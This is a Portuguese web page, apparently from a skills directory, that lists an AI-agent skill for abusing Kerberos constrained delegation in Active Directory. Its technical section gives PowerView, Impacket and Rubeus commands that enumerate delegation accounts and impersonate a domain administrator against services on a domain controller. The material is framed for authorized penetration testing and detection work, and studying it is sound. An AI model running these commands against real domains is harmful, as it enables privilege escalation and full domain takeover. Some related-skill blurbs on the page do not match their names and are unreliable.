exploiting-constrained-delegation-abuse
Faz seu agente explorar configurações incorretas de delegação restrita no Active Directory para se passar por usuários privilegiados.
O que ela faz
Essa ferramenta explora uma configuração incorreta de segurança no Active Directory chamada 'Delegação Restrita'. Ela permite que um atacante se passe por usuários privilegiados, como administradores, para acessar sistemas e obter controle total do domínio.
Quando usar
- ✓Em testes de segurança autorizados para verificar vulnerabilidades de delegação.
- ✓Durante simulações de ataque (red teaming) para testar defesas.
- ✓Para entender como atacantes podem obter acesso privilegiado em redes corporativas.
Exemplo do que pedir para a IA
“Como posso verificar se a delegação restrita está mal configurada na minha rede?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta procura por contas com permissões de delegação específicas. Se encontradas, ela usa técnicas para criar 'passagens' de acesso que se passam por usuários com privilégios elevados, permitindo o acesso a serviços restritos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-constrained-delegation-abuseOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-constrained-delegation-abuse/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Abuso de Delegação Restrita
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Visão Geral
A Delegação Restrita do Kerberos (KCD) é um recurso do Active Directory do Windows que permite que um serviço se passe por um usuário e acesse serviços específicos em nome dele. Os alvos da delegação são definidos no atributo msDS-AllowedToDelegateTo. Quando um atacante compromete uma conta configurada com Delegação Restrita (particularmente com a flag TRUSTED_TO_AUTH_FOR_DELEGATION), ele pode usar as extensões de protocolo Kerberos S4U2self e S4U2proxy para solicitar tickets de serviço como qualquer usuário (incluindo Administradores de Domínio) para os serviços delegados. Se o alvo da delegação incluir serviços como CIFS, HTTP ou LDAP em um Controlador de Domínio, isso resulta no comprometimento total do domínio. A extensão S4U2self solicita um ticket encaminhável em nome de qualquer usuário para o serviço comprometido, e S4U2proxy encaminha esse ticket para o alvo de delegação permitido.
Quando Usar
- Ao realizar testes de segurança autorizados que envolvam a exploração de abuso de delegação restrita
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
- Ao conduzir exercícios de equipe vermelha ou engajamentos de testes de penetração
- Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red teaming
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com as dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Enumerar contas com Delegação Restrita configurada no domínio
- Identificar alvos de delegação (
msDS-AllowedToDelegateTo) para serviços de alto valor - Explorar S4U2self e S4U2proxy para se passar por Administrador de Domínio
- Obter tickets de serviço para serviços delegados como um usuário privilegiado
- Acessar serviços delegados (CIFS, LDAP, HTTP) em hosts de destino
- Escalar para Administrador de Domínio através de abuso de Delegação Restrita
Mapeamento MITRE ATT&CK
- T1558.003 - Roubar ou Forjar Tickets Kerberos: Kerberoasting
- T1550.003 - Usar Material de Autenticação Alternativo: Pass the Ticket
- T1134.001 - Manipulação de Token de Acesso: Impersonação/Roubo de Token
- T1078.002 - Contas Válidas: Contas de Domínio
- T1021 - Serviços Remotos
Fluxo de Trabalho
Fase 1: Enumerar Delegação Restrita
- Encontre contas com Delegação Restrita usando PowerView:
# Find users with Constrained Delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Find computers with Constrained Delegation Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Using AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl - Usando Impacket findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - Usando BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate - Verifique a flag
TRUSTED_TO_AUTH_FOR_DELEGATION(transição de protocolo):# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
Fase 2: Explorar com Rubeus (Windows)
- Se você tiver a senha ou hash da conta de delegação restrita:
# Request TGT for the constrained delegation account Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash> # Perform S4U2self + S4U2proxy to impersonate administrator Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /ptt # Alternative: specify alternate service name Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt - Solicitação TGT combinada e S4U em um único comando:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
Fase 3: Explorar com Impacket (Linux)
- Solicitar ticket de serviço via extensões de protocolo S4U:
…
Perguntas frequentes
O que é Delegação Restrita?
É um recurso do Windows Server que permite que um serviço atue em nome de um usuário para acessar outros serviços. Se mal configurada, pode ser explorada por atacantes.
Preciso ter a senha de um administrador para usar essa ferramenta?
Não necessariamente. A exploração se baseia em configurações incorretas de delegação, permitindo que você se passe por um administrador sem precisar da senha dele.
Isso é legal?
A ferramenta só deve ser usada em ambientes de teste autorizados e com permissão explícita. Usá-la em sistemas sem autorização é ilegal.
Detalhes
Descrição original do autor
Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained de
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5741
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC